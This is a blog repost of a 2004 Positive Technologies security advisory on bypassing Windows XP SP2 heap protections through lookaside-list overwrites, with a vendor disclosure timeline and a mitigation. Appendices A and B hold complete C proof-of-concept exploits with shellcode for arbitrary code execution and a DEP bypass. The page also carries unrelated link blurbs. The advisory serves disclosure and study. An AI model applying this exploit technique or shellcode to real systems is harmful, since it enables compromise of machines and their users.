Defeating Microsoft Windows XP SP2 Heap protection

Ret2shellcode和NX保护机制 Ret2shellcode和NX保护机制 ret2text漏洞利用依赖于程序中存在执行system(“/bin/sh”)的函数,如果没有这个函数,怎么办呢? 没有执行shell的函数,没有开启NX保护 我们需要传入自定义shellcode,这就利用方式就是ret2shellcode Shellcode是黑客编写的用于实行特定功能的汇编代码,通常是开启一个shell 例如:(linux系统下) Execve(“/bin/sh”,null,null); 汇编代码展示 push 0x68 push 0x73f2f 阅读详情
Alexander Anisimov, Positive Technologies.
( anisimov[at]ptsecurity.com, http://www.ptsecurity.com )
 
 
Overview
 
Memory protection
Buffer overrun attacks are among the most common mechanisms, or vectors, for intrusion into computers. In this type of exploit, the attacker sends a long string to an input stream or control – longer than the memory buffer allocated to hold it. The long string injects code into the system, which is executed, launching a virus or worm.
 
Windows XP Service Pack 2 uses two general categories of protection measures to inhibit buffer-overrun attacks. On CPUs that support it, the operating system can turn on the execution protection bit for virtual memory pages that are supposed to hold only data. On all CPUs, the operating system is now more careful to reduce both stack and heap buffer overruns, using "sandboxing" techniques.
 
Execution Protection (NX)
On the 64-bit AMD K8 and Intel Itanium processor families, the CPU hardware can mark memory with an attribute that indicates that code should not be executed from that memory. This execution protection (NX) feature functions on a per-virtual memory page basis, most often changing a bit in the page table entry to mark the memory page.
 
On these processors, Windows XP Service Pack 2 uses the execution protection feature to prevent the execution of code from data pages. When an attempt is made to run code from a marked data page, the processor hardware raises an exception immediately and prevents the code from executing. This prevents attackers from overrunning a data buffer with code and then executing the code; it would have stopped the Blaster worm dead in its tracks.
 
Although the support for this feature is currently limited to 64-bit processors, Microsoft expects future 32-bit and 64-bit processors to provide execution protection.
 
Sandboxing
To help control this type of attack on existing 32-bit processors, Service Pack 2 adds software checks to the two types of memory storage used by native code: the stack, and the heap. The stack is used for temporary local variables with short lifetimes; stack space is automatically allocated when a function is called and released when the function exits. The heap is used by programs to dynamically allocate and free memory blocks that may have longer lifetimes.
The protection added to these two kinds of memory structures is called sandboxing. To protect the stack, all binaries in the system have been recompiled using an option that enables stack buffer security checks. A few instructions added to the calling and return sequences for functions allow the runtime libraries to catch most stack buffer overruns. This is a case where a little paranoia goes a long way.
In addition, "cookies" have been added to the heap. These are special markers at the beginning and ends of allocated buffers, which the runtime libraries check as memory blocks are allocated and freed. If the cookies are found to be missing or inconsistent, the runtime libraries know that a heap buffer overrun has occurred, and raise a software exception.
 
- from Microsoft.com

Heap Design
 
Heap is a reserved address space region at least one page large from which the heap manager can dynamically allocate memory in smaller pieces. The heap manager is represented by a set of function for memory allocation/freeing which are localised in two places: ntdll.dll and ntoskrnl.exe.
 
Every process at creation time is granted with a default heap, which is 1MB large (by default) and grows automatically as need arise. The default heap is used not only by the win32 apps, but also by many runtime library functions which need temporary memory blocks. A process may create and destroy additional private heaps by calling HeapCreate()/HeapDestroy(). Use of the private heaps` memories is established by calling HeapAlloc() and HeapFree().
 
[*] More detailed information about the heap management functions is provided in the Win32 API documentation.
 
Memory in heaps is allocated by chunks called 'allocation units' or 'indexes' which are 8-byte large. Therefore, allocation sizes have a natural 8-byte granularity. For example if an application needs a 24-byte block the number of allocation units it gets 3 allocation units. In order to manage memory for every block a special header is created, which also has a size divisible by 8 (fig. 1, 2). Therefore a true memory allocation size is a total of the requested memory size, rounded up towards a nearest value divisible by 8 and the size of the header.
 
 
 
Fig.1. Busy block header.
 
 
Fig.2. Free block header.
 
 
Where:
Size - memory block size (real block size with header / 8);
Previous Size - previous block size (real block size with header  / 8);
Segment Index - segment index in which the memory block resides;
Flags - flags:
- 0x01 - HEAP_ENTRY_BUSY
         - 0x02 - HEAP_ENTRY_EXTRA_PRESENT
         - 0x04 - HEAP_ENTRY_FILL_PATTERN
         - 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
         - 0x10 - HEAP_ENTRY_LAST_ENTRY
         - 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
         - 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
         - 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
Unused - amount of free bytes (amount of additional bytes);
Tag Index - tag index;
Flink - pointer to the next free block;
Blink - pointer to the previous free block.
 
 
The specification of the allocation size in allocation units is important for the free block list management. Those free block lists are sorted by size and the information about them is stored in an array of 128 doubly-linked-lists inside the heap header (fig. 3, 4). Free blocks in the size diapasone from 2 to 127 units are stored in lists corresponding to their size (index). For example, all free blocks with the size of 24 units are stored in a list with index 24, i.e. in Freelist[24]. The list with index 1 (Freelist[1]) is unused, because blocks of 8 bytes can`t exist and the list with index 0 is used to store blocks larger than 127 allocation units (bigger than 1016 bytes).
 
 
Fig. 3.
 
 
If, during the heap allocation, the HEAP_NO_SERIALIZE flag was unset but the HEAP_GROWABLE flag was set (which is actually the default), then in order to speed up allocation of the small blocks (under 1016 bytes) 128 additional singly-linked lookaside lists (fig. 3, 4) are created in the heap. Initially lookaside lists are empty and grow only as the memory is freed. In this case during allocation or freeing these lookaside lists are checked for suitable blocks before the Freelists.
 
The heap allocation routines automatically tune the amount of the free blocks to store in the lookaside lists, depending on the allocation frequency for certain block sizes. The more often memory of certain size is allocated -- the more can be stored in the respective lists, and vice versa -- underused lists are trimmed and the pages are freed to the system.
 
Because the main goal of the heap is to store small memory blocks this scheme results in relatively quick memory allocation/freeing.
 
 
 
doubly-linked freelist
 
singly-linked lookaside list
 
Fig. 4.
 
 
 
Heap Overflow
 
Let`s take a look at this pretty simple example of a vulnerable function:
 
HANDLE h = HeapCreate(0, 0, 0); // default flags
 
DWORD vulner(LPVOID str)
{
        LPVOID mem = HeapAlloc(h, 0, 128);
        // <..>
        strcpy(mem, str);
        // <..>
return 0;
}
 
As we can see here the vulner() function copies data from a string pointed by str to an allocated memory block pointed at by buf, without a bound check.
A string larger than 127 bytes passed to it will thereby overwrite the data coincidental to this memory block (Which is, actually, a header of the following memory block).
 
The heap overflow exploitation scenario usually proceeds on like this:
If during the buffer overflow the neighboring block exists, and is free, then the Flink and Blink pointers are replaced (Fig. 5).
At the precise moment of the removal of this free block from the doubly-linked freelist a write to an arbitrary memory location happens:
 
mov dword ptr [ecx],eax
mov dword ptr [eax+4],ecx
 
EAX - Flink
ECX - Blink
 
For example, the Blink pointer could be replaced by the unhandled exception filter address (UEF -- UnhandledExceptionFilter), and Flink, accordingly, by the address of the instruction which will transfer ther execution to the shellcode.
 
[*] More detailed information about the heap overflows is provided in the “Windows Heap Overflows” whitepaper (by David Litchfield, BlackHat 2004).
 
 
Fig. 5.
 
 
 
In Windows XP SP2 the allocation algorithm was changed -- now before the removal of a free block from the freelist, a pointer sanity check is performed with regard to the previous and next block addresses (safe unlinking, fig. 6.):
 
 
Fig. 6. Safe unlinking.
 
 
  1. Free_entry2 -> Flink -> Blink == Free_entry2 -> Blink -> Flink
  2. Free_entry2 -> Blink -> Flink == Free_entry2
 
7C92AE22   mov         edx,dword ptr [ecx]
7C92AE24   cmp         edx,dword ptr [eax+4]
7C92AE27   jne         7C927FC0
7C92AE2D   cmp         edx,esi
7C92AE2F   jne         7C927FC0
7C92AE35   mov         dword ptr [ecx],eax
7C92AE37   mov         dword ptr [eax+4],ecx
 
Then that block gets deleted from the list.
 
The memory header block was changed, besides other things (fig. 7.). A new one-byte-large 'cookie' field was introduced, which holds a unique precomputed token -- undoubtely designed to ensure header consistency.
 
This value is calculated from the header address and a pseudorandom number generated during the heap creation:
 
(&Block_header >> 3) xor (&(Heap_header + 0x04))
 
The consistency of this token is checked only during the allocation of a free memory block and only after its deletion from the free list.
 
 
Fig. 7.
 
If at least one of these checks fails the heap is considered destroyed and an exception follows.
 
The first weak spot -- the fact that the cookie gets checked at all only during free block allocation and hence there is no checks upon block freeing. However in this situation there is nothing you can do except changing the block size and place it into an arbitrary freelist.
 
And the second weak spot – the manipulation of the lookaside lists doesn`t assume any header sanity checking, there isn`t even a simple cookie check there.
Which, theoretically, results in possibility to overwrite up to 1016 bytes in an arbitrary memory location.
 
The exploitation scenario could proceed as follows:
if, during the overflow the concidental memory block is free and is residing in the lookaside list, then it becomes possible to replace the Flink pointer with an arbitrary value.
Then, if the memory allocation of this block happens, the replaced Flink pointer will be copied into the header of the lookaside list and during the next allocation HeapAlloc() will return this fake pointer.
 
The prerequisite for successful exploitation is existence of a free block in lookaside list which neighbors with the buffer we overflow.
 
This technique was successfully tested by MaxPatrol team in trying to exploit the heap buffer overflow vulnerability in the Microsoft Windows winhlp32.exe application using the advisory published by the xfocus team:
 
 
The effect of a successful attack:
1) Arbitrary memory region write access (smaller or equal to 1016 bytes).
2) Arbitrary code execution (appendix A).
3) DEP bypass. (DEP is Data Execution Prevention) (appendix B).
 
 

Disclosure timeline
 
10/09/2004      The possibility to work around the Heap protection mechanism was discovered by MaxPatrol security scanner research team in course of advanced vulnerabilities analysis
12/21/2004      Initial vendor notification
12/22/2004      Initial vendor response
12/22/2004      PoC code was sent to Microsoft.
 
 

Solution
 
One might employ restriction of lookaside list creation, governed by a special global flag, as a temporary security measure. Actually a simple program for this purpose was already created by MaxPatrol research team and is available for free download from:
 
 
During the first execution this program shows the list of applications which already have this flag set. In order to activate the global flag, which would disable use of the lookaside lists, one needs to add the name of the executable file and then, optionally, close the application (PTmsHORP).
 
Warning: this flag, while enabled, may decrease the application performance.
 
 
About Positive Technologies
 
Positive Technologies is a private company specializing in network information security. Its head office is located in Moscow, Russia.
 
The company has two main concentrations: provisioning of integrated services used in protecting computer networks from unauthorized access; and development of the MaxPatrol security scanner and its complementary products. The company's Russian and Ukrainian customers include the largest banks, state organizations and leading telecommunication and industrial companies.
 
The two focuses of Positive Technologies complement and enrich each other. The company employs experienced security specialists who actively conduct penetration testing and security reviews for some of the largest companies and state agencies in Russia. This practical experience allows it to create products of the highest quality and remain on the cutting edge of the security world. By developing products based on this experience leads to more effective, successful, and efficient resolutions of any information-security problems.
 
The company also owns and maintains a leading Russian Information Security Internet Portal www.securityfocus.ru for that it uses for analytic and educational purposes.
 
 
About MaxPatrol
 
MaxPatrol is an integrated system and application security scanner.  MaxPatrol has the ability to detect and recommend solutions for both known and unknown vulnerabilities on multiple platforms. Although MaxPatrol operates within Microsoft Windows, it can test for possible vulnerabilities in any software or hardware platform: from Windows workstations to Cisco networks (*nix, Solaris, Novell, AS400, etc.).
 
MaxPatrol’s technology integrates a powerful and comprehensive protection analyzer developed for web servers and web applications (e.g. shopping carts or online banking applications) as well as operating system vulnerabilities. Unlike information-security scanners that focus only on system vulnerabilities, MaxPatrol provides universal detection on at both the system level and the application level giving a much more throughout view of an organizations security posture on all levels.
 
MaxPatrol’s easy to master GUI and comprehensive reports with suggestions and references mean any security officer can have in-depth knowledge of the security posture of their organization without using multiple, nonintegrated products or complex open source tools.
 
MaxPatrol demo is available at: http://www.maxpatrol.com/DOWNLOAD/MP7DEMO.ZIP.
 
MaxPatrol commercial version is available in the United States through Positives Technologies Distribution and Support Partner Global Digital Forensics, www.evestigate.com
 
Download the latest demo version and get a handle on your security posture.
 
 

Appendix A.
 
/*
 * Defeating Windows XP SP2 Heap protection.
 *
 * Copyright (c) 2004  Alexander Anisimov, Positive Technologies.
 *
 *
 * Tested on:
 *
 *    - Windows XP SP2
 *    - Windows XP SP1
 *    - Windows 2000 SP4
 *    - Windows 2003 Server
 *
 * Contacts:
 *
 *    anisimov@ptsecurity.com
 *    http://www.ptsecurity.com
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */
 
#include <stdio.h>
#include <windows.h>
 
 
unsigned char calc_code[]=
      "/x33/xC0/x50/x68/x63/x61/x6C/x63/x54/x5B/x50/x53/xB9"
      "/x04/x03/x02/x01"      // Address of system() function
      "/xFF/xD1/xEB/xF7";
 
 
void fixaddr(char *ptr, unsigned int a)
{
      ptr[0] = (a & 0xFF);
      ptr[1] = (a & 0xFF00) >> 8;
      ptr[2] = (a & 0xFF0000) >> 16;
      ptr[3] = (a & 0xFF000000) >> 24;
}
 
int getaddr(void)
{
      HMODULE lib = NULL;
      unsigned int addr_func = 0;
      unsigned char a[4];
 
      // get address of system() function
      lib = LoadLibrary("msvcrt.dll");
      if (lib == NULL) {
            printf("Error: LoadLibrary failed/n");
            return -1;
      }
 
      addr_func = (unsigned int)GetProcAddress(lib, "system");
      if (addr_func == 0) {
            printf("Error: GetProcAddress failed/n");
            return -1;
      }
      printf("Address of msvcrt.dll!system(): %08X/n/n", addr_func);
 
      fixaddr(a, addr_func);
      memcpy(calc_code+13, a, 4);
 
      return 0;
}
 
int main(int argc, char **argv)
{
      HANDLE h = NULL;
      LPVOID mem1 = NULL, mem2 = NULL, mem3 = NULL;
      unsigned char shellcode[128];
 
      if (getaddr() != 0)
            return 0;
 
      // create private heap
      h = HeapCreate(0, 0, 0);
      if (h == NULL) {
            printf("Error: HeapCreate failed/n");
            return 0;
      }
      printf("Heap: %08X/n", h);
 
      mem1 = HeapAlloc(h, 0, 64-8);
      printf("Heap block 1: %08X/n", mem1);
      mem2 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 2: %08X/n", mem2);
 
      HeapFree(h, 0, mem1);
      HeapFree(h, 0, mem2);
 
 
      mem1 = HeapAlloc(h, 0, 64-8);
      printf("Heap block 1: %08X/n", mem1);
 
 
      // buffer overflow occurs here...
      memset(mem1, 0x31, 64);
      // fake allocation address in the stack
      memcpy((char *)mem1+64, "/x84/xFF/x12/x00", 4);
 
 
      // lookaside list overwrite occurs here...
      mem2 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 2: %08X/n", mem2);
 
      // allocate memory from the stack
      mem3 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 3: %08X/n", mem3);
 
      memset(shellcode, 0, sizeof(shellcode)-1);
 
      // fake ret address
      memcpy(shellcode, "/x8B/xFF/x12/x00", 4);
      // shellcode - "calc.exe"
      memcpy(shellcode+4, "/x90/x90/x90/x90", 4);
      memcpy(shellcode+4+4, calc_code, sizeof(calc_code)-1);
 
      // overwrite stack frame
      memcpy(mem3, shellcode, sizeof(calc_code)-1+8);
 
      return 0;
}
 
 

Appendix B.
 
/*
 * Defeating Windows XP SP2 Heap protection.
 * Example 2: DEP bypass. (DEP is Data Execution Prevention)
 *
 * Copyright (c) 2004  Alexander Anisimov, Positive Technologies.
 *
 *
 * Tested on:
 *
 *    - Windows XP SP2
 *    - Windows XP SP1
 *    - Windows 2000 SP4
 *    - Windows 2003 Server
 *
 * Contacts:
 *
 *    anisimov@ptsecurity.com
 *    http://www.ptsecurity.com
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */
 
#include <stdio.h>
#include <windows.h>
 
 
unsigned char calc_code[]=
      "/x33/xC0/x50/x68/x63/x61/x6C/x63/x54/x5B/x50/x53/xB9"
      "/x04/x03/x02/x01"      // Address of system() function
      "/xFF/xD1/xEB/xF7";
 
 
void fixaddr(char *ptr, unsigned int a)
{
      ptr[0] = (a & 0xFF);
      ptr[1] = (a & 0xFF00) >> 8;
      ptr[2] = (a & 0xFF0000) >> 16;
      ptr[3] = (a & 0xFF000000) >> 24;
}
 
int getaddr(unsigned char *a)
{
      HMODULE lib = NULL;
      unsigned int addr_func = 0;
 
      // get address of system() function
      lib = LoadLibrary("msvcrt.dll");
      if (lib == NULL) {
            printf("Error: LoadLibrary failed/n");
            return -1;
      }
 
      addr_func = (unsigned int)GetProcAddress(lib, "system");
      if (addr_func == 0) {
            printf("Error: GetProcAddress failed/n");
            return -1;
      }
      printf("Address of msvcrt.dll!system(): %08X/n/n", addr_func);
 
      fixaddr(a, addr_func);
 
      return 0;
}
 
 
int main(int argc, char **argv)
{
      HANDLE h = NULL;
      LPVOID mem1 = NULL, mem2 = NULL, mem3 = NULL;
      unsigned char shellcode[128];
 
      // create private heap
      h = HeapCreate(0, 0, 0);
      if (h == NULL) {
            printf("Error: HeapCreate failed/n");
            return 0;
      }
      printf("Heap: %08X/n", h);
 
      mem1 = HeapAlloc(h, 0, 64-8);
      printf("Heap block 1: %08X/n", mem1);
      mem2 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 2: %08X/n", mem2);
 
      HeapFree(h, 0, mem1);
      HeapFree(h, 0, mem2);
 
      mem1 = HeapAlloc(h, 0, 64-8);
      printf("Heap block 1: %08X/n", mem1);
 
 
      // buffer overflow occurs here...
      memset(mem1, 0x31, 64);
      // fake allocation address in the stack
      memcpy((char *)mem1+64, "/x84/xFF/x12/x00", 4);
 
 
      // lookaside list overwrite occurs here...
      mem2 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 2: %08X/n", mem2);
 
      // allocate memory from the stack
      mem3 = HeapAlloc(h, 0, 128-8);
      printf("Heap block 3: %08X/n", mem3);
 
      memset(shellcode, 0, sizeof(shellcode)-1);
 
      // “return-into-lib” method
// fake ret address -> system()
      getaddr(&shellcode[0]);
      memcpy(shellcode+4, "/x32/x32/x32/x32", 4);
 
      // shellcode - "calc.exe"
      memcpy(shellcode+8, "/x94/xFF/x12/x00", 4);
      memcpy(shellcode+12, "/x31/x31/x31/x31", 4);
      memcpy(shellcode+16, "calc", 4);
      memcpy(shellcode+20, "/x0a/x31/x31/x31", 4);
 
      // overwrite stack frame
      memcpy(mem3, shellcode, 24);
 
      return 0;
}
41|DeepSeek Harness 侧栏拿到的是绝对路径,为什么目录接口返回相对路径? 为什么 Harness 侧栏文件行是绝对路径,目录接口返回的却是相对路径?用真实客户端组件和本地目录方法复现,覆盖混合斜杠、中文、空格和百分号。 阅读详情

相关推荐

MATLAB多项式计算

MATLAB多项式计算 在MATLAB中,n次多项式用一个长度为n+1的行向量表示(因为是n个幂次项系数加上一个常数项),缺少的幂次项系数为0。 例如 n次多项式: P(x)=anxn+an-1xn-1+an-2xn-2+…+a1x+a0 表示为: [an,an-1,an-2,…,a1,a0] 目录MATLAB多项式计算1.多项式的加减运算2.多项式的乘法运算3.多项式的除法运算4.多项式的导函数5.代数多项式求值6.矩阵多项式求值7.多项式求根 1.多项式的加减运算 事实上,多项式的加减运算就是其所对应的

路遥芝麻的博客 1万+

jarvisoj——[XMAN]level4

题目 Wp 检查基础项,有NX保护 ida看的时候还是之前的那种,但是没有给lib,需要自己去找 那么这里第一步,肯定是找到system的地址 第二步将/bin/sh写入bss字段 第三部调用即可

王嘟嘟的博客 727

android广告SDK原理详解(附源码)

广大的开发者吃糠咽菜开发了一两款APP,获取了一些流量后自然就会想到流量变现,一般情况下大家会选择到百度联盟或者Google Admob这些广告服务提供商注册开发者账号,在自己的APP里面加上几行广告位代码,集成他们的广告SDK包。然后谋事在人,成事在天,只有每天看报表查查收益。   也有一些开发者为了能够提高自己的变现水平,同时接入了好几家的sdk,哪家出的收益高一点我就出哪家的广告,但是这

rmcgogo的博客 1万+

windows系统上使用VS编译器时对缓冲区溢出的防范措施

0x01 /GS --缓冲区安全性检查 如果使用/GS进行编译,将在程序中插入代码,以检测可能覆盖函数返回地址的缓冲区溢出。如果发生了缓冲区溢出,系统将向用户显示一个警告对话框,然后终止程序。这样,攻击者将无法控制应用程序。用户也可以编写自定义的错误处理例程,以代替默认对话框来处理错误。 在返回地址之前将插入一个专门的 cookie(系列字节),以使得任何缓冲区溢出都将更改该cooki

qq51931373的专栏 2098

PMOS过压保护电路设计与仿真优化策略

本文深入探讨PMOS过压保护电路(OVP)的设计与仿真优化策略,详细解析PMOS管选型、稳压管特性及三极管配置等关键要素。通过Proteus仿真案例揭示典型设计误区,并提供响应速度提升、抗干扰设计等进阶优化方案,助力工程师实现高可靠性的电源保护系统设计。

weixin_42620340的博客 445

HLM(多层线性模型)在stata中语句

在阅读CEPS中发现有些研究采用的是HLM模型,HLM简单来说用一个方程跑两个回归。举例,对学习成绩影响因素,不同层有不同的影响,如在个体层面上个体特征会对成绩产生影响,在学校层面学校排名等因素会对成绩产生影响,两种因素不在一个层面,每层造成的差异都不相同。 在找相关语句时候发现操作这个语句的软件大多是SPSS和HLM,对于stata操作者并不友好。因此,在有限资料中总结了HLM在stata中的语句,后面会附上学习视频和链接。 先放语句,后面对方程式一个大致解析。由于针对HLM有一本书的介绍,可能一篇文章无

weixin_44652251的博客 1万+

Linux | gcc编译中开启linux程序保护机制的参数

文章目录总结NXCanaryPIERELROFortify 总结 NX:-z execstack / -z noexecstack (关闭 / 开启) Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) PIE:-no-pie / -pie (关闭 / 开启) RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) NX gcc -

Kni9hT's Blog 1553

告别Failed to start错误!保姆级教程:用Ubuntu20.04安装盘搞定GRUB与系统服务修复

本文提供Ubuntu20.04系统启动失败的专业修复指南,详细讲解如何利用安装盘解决GRUB与系统服务问题,避免重装系统导致的数据丢失。涵盖分区挂载、chroot环境操作、服务诊断与修复等实用技巧,帮助用户高效恢复系统正常运行。

weixin_32578161的博客 337

两种保护机制:NX和Canary

因为自己学的比较慢,自学能力也比较差,假期过去挺久了,进度也才跟进到保护机制,可能接下来会花比较长的时间在这里。而保护机制我是从最简单的NX保护机制开始学起的,NX典型的例子有ret2syscall和libc,为了便于理解为什么有这种保护机制以及为什么需要这种保护机制,我去网上找了一些NX的原理。 NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行

weixin_46711318的博客 6232

YOLOv5源码逐行超详细注释与解读(5)——配置文件yolov5s.yaml

全网最详细的YOLOv5源码解读之配置文件yaml。逐行注释,逐句讲解,一文带你了解yaml。小白必看!

路人贾的博客 1万+

IP-guard发布新版本4.87.2241.0

IP-guard发布了新版本4.87.2241.0,用户可通过提供的下载地址获取完整安装包和升级包。下载后,用户需联系厂家申请测试序列号以进行安装和使用。IP-guard是一款专注于企业文件加密、文档加密系统、防泄密软件、数据安全的软件。

IP-Guard专栏 1544

堆溢出攻击(XP SP2 - 2003)

微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重: * PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而是使用具有一定随机性的基址,从而影响了 DWORD SHOOT 对 PEB 中函数的攻击。 * Safe Unlink:微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心...

whatday的专栏 1678

【Go语言实战】(3) Gin + Gorm 简单备忘录 | 含接口文档

Go语言实战:TodoList 备忘录

面向生活编程 6143

AI 答案漂移检测:嵌入相似度、阈值标定与告警实现

做 GEO 监测的人迟早会遇到一个尴尬:上周还在报告里写「这个问句已经稳定被引用」,这周客户自己一问,答案换了个品牌。问题不在监测方法,而在多数监测系统只存「有没有提到」,不存「答案长什么样」。这篇写我们这套漂移检测模块的实现,目标是回答一个问题:同一个问句,今天的答案和两周前相比,变了多少,这个变化是正常抖动还是异常。

helloworld19920的博客 178

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Vue开发篇之组件通信与表单:点了任务行,谁来更新列表

用四个Vue组件完成任务录入与状态切换,跟踪props、事件转发和表单草稿的归属。

code2cat的博客 276

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

鸿蒙 命令行工具:hdc(二)

本文介绍HDC(Huawei Device Connector)工具的使用方法,重点涵盖USB与TCP连接调试流程。需开启USB调试,通过USB线连接设备,使用hdclisttargets查询设备,支持hdc -t指定目标设备执行shell命令。TCP连接需在同一WiFi下启用无线调试,注意最多支持16个连接。远程连接使用s参数指定服务器地址。常见问题排查包括检查调试开关、数据线、接口、环境变量及驱动,建议优先使用USB连接以确保稳定。

梦想不只是梦与想的博客 392

Java 面试题:数组和 List 如何快速互转?最佳方案是什么?(其他高频面试API)

业务需求推荐 APIList 判断元素是否存在contains()List 根据条件查询单个对象List 根据条件查询多个对象List 判断是否存在符合条件的数据anyMatch()List 排序后快速查找Map 根据 Key 查询 Valueget()Map 判断 Key 是否存在大量数据判断元素是否存在List 根据 ID 高频查询List 转 HashMap两个 List 根据 ID 关联一个 List 转 Map。

两点 581

【RHCA+】numactl命令(管理numa)

root@wuzuniao ~]# numactl -H #查看服务器上的numa数量及每个node内的cpu和内存数。[root@wuzuniao ~]# yum -y install numactl #安装工具。[root@wuzuniao ~]# numactl #输入错误就会弹出命令帮助。限制程序只使用node本地内存,不能使用其他node内存;[root@wuzuniao ~]# numactl -s #查看策略。查看、管理numa;语法格式:numactl [参数]使用哪个node的cpu。

388

函数式编程

本文介绍Java 8函数式编程核心内容,涵盖Lambda表达式、Stream流、Optional及方法引用。通过对比传统匿名内部类,展示Lambda简化代码的便捷性;以Stream流实现集合链式操作,高效完成过滤、去重、遍历等任务;结合实际案例,说明函数式编程提升开发效率、增强可读性与并发处理能力的优势,助力开发者快速掌握现代Java编程范式。

fzt12138的博客 187

NCCL-AllReduce-用户缓冲区注册及设备Work构造 (六)

在传统 Collective 路径中,主机根据任务选定的算法、协议和连接能力,为符合条件的用户缓冲区准备注册资源。每个任务各有一份设备 Work,其中保存缓冲区地址、归约参数和注册状态。下图以同一 communicator 中的 Ring 任务 A 和 NVLS 任务 B 为例,说明相关对象由谁持有、注册结果保存在哪里,以及任务和 Work 如何交给后续的 Plan 编排。保留任务及注册记录。保存已完成分类和调优的任务,保存按地址范围组织的注册记录。

非专业业余程序员 257

C++ initializer_list 详解

本文详解C++11引入的std::initializer_list,涵盖其底层机制、基本用法及常见陷阱。它作为统一初始化的核心,提供轻量级只读视图,支持函数参数、构造函数初始化,但需注意底层数组生命周期与对象绑定,避免返回或保存临时initializer_list。重载决议中initializer_list优先级高,易引发意外行为,应谨慎使用。

本博客分享软硬件一体化开发实战。硬件涵盖 PCB 设计、STM32 等 MCU 底层开发;软件包含 C++、Rust,Qt/QML、PyQt、Slint、TouchGFX、LVGL 各类 GUI 框架。方便软硬件开发者查阅学习。欢迎关注! 335

Java集合框架核心笔记|List、Set、Map底层原理+选型+面试高频

本文系统梳理Java集合框架核心知识:Collection(List、Set、Queue)与Map双列集合体系,重点解析ArrayList、LinkedList、HashSet、HashMap等常用类的底层原理、特性及选型建议。涵盖泛型、遍历方式、线程安全问题及高频面试题,附集合选型速查表与常见异常避坑指南,适合快速掌握集合核心要点。

jiucai27的博客 283

JavaScript编程篇之异步请求:切换到待办,为什么又显示了全部任务

用可运行的任务筛选页面观察fetch的两次等待、HTTP错误、取消和迟到响应,并用请求编号保护列表与加载提示。

code2cat的博客 454

Vue2项目中数据字典的使用封装

封装components/DictSelect.vue组件。在main.js中注册成全局方法。页面初始化时查询字典数据。

qq_35641191的博客 37

jquick-transform-function 的“一函数注册、多引擎消费“能力

Manager.invoke 是整个 JQuick 生态的"函数分发总线"。它用一个 HashMap 当路由器,用一个 interface 当统一契约,把下游引擎和函数实现解耦。引擎只负责"把用户写的表达式拆成方法名和参数",函数只负责"拿到参数返回结果"。业务规则改一处,全平台生效——这就是这套架构的核心价值。

PaoHaiJiao的博客 351

【camera 008】android camera id 注册、状态监控等状态变化 全流程梳理

应用层通过CameraManager获取可用Camera ID列表,并注册AvailabilityCallback监控相机状态变化。当相机可用性变更(如被占用或释放)时,回调会及时通知。打开相机时需提供StateCallback,用于接收设备启动、关闭或错误等状态事件,其中ERROR_CAMERA_IN_USE表示相机正被高优先级客户端占用。开发者需适时注销回调以避免资源泄漏。

universe_search的博客 44
上一篇: adore rootkit分析
下一篇: hiddenQuser + 源码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址